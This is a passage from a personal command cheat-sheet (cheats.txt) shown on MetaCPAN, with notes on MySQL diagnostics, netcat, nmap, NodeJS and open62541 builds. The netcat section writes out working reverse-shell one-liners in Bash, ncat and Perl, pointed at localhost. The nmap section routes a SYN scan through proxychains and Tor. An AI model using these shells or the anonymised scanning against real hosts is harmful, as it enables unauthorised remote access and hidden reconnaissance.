view release on metacpan or  search on metacpan

cheats.txt  view on Meta::CPAN

WITH RECURSIVE counter(n) AS (SELECT 1 UNION ALL SELECT n % 1 FROM counter WHERE n < 10000000000) SELECT n FROM counter;

# Debug what is slow on MYSQL (Diagnostics,DB)
#
# Currently running or pending connections:
SHOW FULL PROCESSLIST;
KILL QUERY <ID>;
#
# History of commands run:
SELECT * FROM performance_schema.events_statements_summary_by_digest\G
#
# History focused:
SELECT CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) AS max_time, COUNT_STAR AS calls, CAST(MAX_TOTAL_MEMORY/1024 AS UNSIGNED) as MB, QUERY_SAMPLE_TEXT FROM performance_schema.events_statements_summary_by_digest WHERE CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) > ...


#############################################################
## Nagios
#############################################################

# Dashboard for websites status (Jira)
nagios


#############################################################
## Netcat Listener (nc)
#############################################################

# Start netcat listener on a specific port (Unix)
nc -nlvp 4445

# Start netcat listener on a specific port (MacOS)
nc -nvl 4444

# Reverse Shell - Netcat
# Listener.
sudo ncat -lnvp 87

# Reverse Shell Connect - Bash
bash -i >& /dev/tcp/localhost/87 0>&1

# Reverse Shell Connect - Netcat
ncat -c bash localhost 87

# Reverse Shell Connect - Perl
perl -MIO::Socket -e '
    exit if fork;
    $c = IO::Socket::INET->new("localhost:87");
    STDIN->fdopen($c, "r");
    STDOUT->fdopen($c, "w");
    system $_ while <>;
'


#############################################################
## NMap - Network Scanner
#############################################################

# NMap - Network Scanner
# Dry run - show what would be scanned:
nmap 192.168.178.1-10 -sL -n --exclude 192.168.178.5-7
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-05 16:47 CET
Nmap scan report for 192.168.178.1
Nmap scan report for 192.168.178.2
Nmap scan report for 192.168.178.3
Nmap scan report for 192.168.178.4
Nmap scan report for 192.168.178.8
Nmap scan report for 192.168.178.9
Nmap scan report for 192.168.178.10
Nmap done: 7 IP addresses (0 hosts up) scanned in 0.00 seconds

# NMap - Network Scanner
# Process from a pipe:
echo $a | nmap -iL - -sL -n

sudo apt install proxychains tor
vi /etc/proxychains.conf
:socks5  127.0.0.1 9050
tor&
sudo proxychains4 nmap 192.168.178.48 -sS -A


#############################################################
## NodeJs
#############################################################

# NodeJs
node - server-side JavaScript runtime
nvm  - Node Version Manager
        - Use this to show/list and install another nodejs version.
        - New version installed/used, is a new version of npm.
npm  - Node Package Manager
        - Use this to install node packages.


#############################################################
## OPEN62541
#############################################################

# Manual specify version of open62541 (if not cloned)
cmake -DOPEN62541_VERSION=v1.0.3.

# Automatically build all the open62541 examples
cmake -G "Visual Studio 14 2015 Win64" -DUA_BUILD_EXAMPLES=ON ..

# Required to build open62541
Python
CMake
Visual Studio
open62541 source code

# Steps to build open62541

# Simple addNode function using open62541
static UA_StatusCode addNode(
    UA_Server *server,
    char *name, char *value,
    UA_UInt16 nsIndex, UA_UInt32 identifier,
    UA_UInt16 nsIndexParent, UA_UInt32 identifierParent
) {
    /* Define the attribute of the myInteger variable node */
    UA_VariableAttributes attr = UA_VariableAttributes_default;